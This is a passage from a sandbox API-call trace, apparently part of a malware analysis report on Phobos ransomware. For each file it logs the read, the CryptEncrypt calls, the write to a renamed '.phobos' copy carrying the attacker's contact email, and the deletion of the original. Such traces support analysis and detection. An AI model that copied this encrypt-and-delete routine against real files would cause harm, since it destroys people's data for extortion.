dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.720] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.728] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cfb0) returned 1 [0047.728] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.728] ReadFile (in: hFile=0x304, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x4758, lpOverlapped=0x0) returned 1 [0047.741] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4760, dwBufLen=0x4760 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4760) returned 1 [0047.741] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x4760, lpOverlapped=0x0) returned 1 [0047.742] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d0b0) returned 1 [0047.742] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.742] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0047.742] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0047.742] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0047.742] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0047.742] CloseHandle (hObject=0x304) returned 1 [0047.742] CloseHandle (hObject=0x320) returned 1 [0047.743] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0047.744] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0047.744] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.745] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=18264) returned 1 [0047.745] CloseHandle (hObject=0x320) returned 1 [0047.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0047.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.745] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.745] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.745] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.745] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0047.753] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d170) returned 1 [0047.753] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.753] ReadFile (in: hFile=0x320, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x4758, lpOverlapped=0x0) returned 1 [0047.760] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4760, dwBufLen=0x4760 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4760) returned 1 [0047.760] WriteFile (in: hFile=0x338, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x4760, lpOverlapped=0x0) returned 1 [0047.761] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cfb0) returned 1 [0047.761] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.761] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0047.761] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0047.761] WriteFile (in: hFile=0x338, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0047.761] CryptDestroyKey (hKey=0x10d170) returned 1 [0047.761] CloseHandle (hObject=0x320) returned 1 [0047.761] CloseHandle (hObject=0x338) returned 1 [0047.762] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0047.763] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0047.763] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0047.764] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=17752) returned 1 [0047.764] CloseHandle (hObject=0x338) returned 1 [0047.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0047.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.764] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0047.764] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.764] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.764] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0047.767] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cdf0) returned 1 [0047.767] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.767] ReadFile (in: hFile=0x338, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x4558, lpOverlapped=0x0) returned 1 [0047.774] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4560, dwBufLen=0x4560 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4560) returned 1 [0047.774] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x4560, lpOverlapped=0x0) returned 1 [0047.776] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ce70) returned 1 [0047.776] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0047.776] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0047.776] CryptDestroyKey (hKey=0x10ce70) returned 1 [0047.776] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0047.776] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0047.776] CloseHandle (hObject=0x338) returned 1 [0047.776] CloseHandle (hObject=0x2e4) returned 1 [0047.779] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0047.780] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0047.780] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0047.781] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=18776) returned 1 [0047.781] CloseHandle (hObject=0x2e4) returned 1 [0047.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0047.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.781] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0047.781] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.781] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0047.781] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0048.113] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cdf0) returned 1 [0048.113] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0048.113] ReadFile (in: hFile=0x2e4, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x4958, lpOverlapped=0x0) returned 1 [0048.169] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4960, dwBufLen=0x4960 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x4960) returned 1 [0048.169] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x4960, lpOverlapped=0x0) returned 1 [0048.170] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cab0) returned 1 [0048.170] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0048.170] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0048.170] CryptDestroyKey (hKey=0x10cab0) returned 1 [0048.170] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0048.170] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0048.170] CloseHandle (hObject=0x2e4) returned 1 [0048.170] CloseHandle (hObject=0x320) returned 1 [0048.171] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0048.172] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0048.172] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0048.172] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=894) returned 1 [0048.172] CloseHandle (hObject=0x320) returned 1 [0048.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0048.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.172] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0048.172] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0048.172] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0048.173] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.173] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d1b0) returned 1 [0048.173] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0048.173] ReadFile (in: hFile=0x320, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x37e, lpOverlapped=0x0) returned 1 [0048.269] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x380, dwBufLen=0x380 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x380) returned 1 [0048.269] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x380, lpOverlapped=0x0) returned 1 [0048.270] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d0f0) returned 1 [0048.270] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0048.270] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40, dwBufLen=0x40 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40) returned 1 [0048.270] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0048.270] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0xf2, lpOverlapped=0x0) returned 1 [0048.270] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0048.270] CloseHandle (hObject=0x320) returned 1 [0048.270] CloseHandle (hObject=0x2e4) returned 1 [0048.271] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0048.272] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0048.272] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.315] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=894) returned 1 [0048.315] CloseHandle (hObject=0x2e4) returned 1 [0048.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0048.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.316] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.316] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0048.316] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0048.316] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0048.316] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d070) returned 1 [0048.316] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0048.316] ReadFile (in: hFile=0x2e4, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x37e, lpOverlapped=0x0) returned 1 [0048.322] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x380, dwBufLen=0x380 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x380) returned 1 [0048.322] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x380, lpOverlapped=0x0) returned 1 [0048.323] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cb70) returned 1 [0048.323] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0048.323] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40, dwBufLen=0x40 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40) returned 1 [0048.323] CryptDestroyKey (hKey=0x10cb70) returned 1 [0048.323] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0xf2, lpOverlapped=0x0) returned 1 [0048.323] CryptDestroyKey (hKey=0x10d070) returned 1 [0048.323] CloseHandle (hObject=0x2e4) returned 1 [0048.323] CloseHandle (hObject=0x320) returned 1 [0048.327] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0048.328] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0048.328] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.329] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=36710) returned 1 [0048.329] CloseHandle (hObject=0x2e4) returned 1 [0048.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0048.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.329] CreateFileW 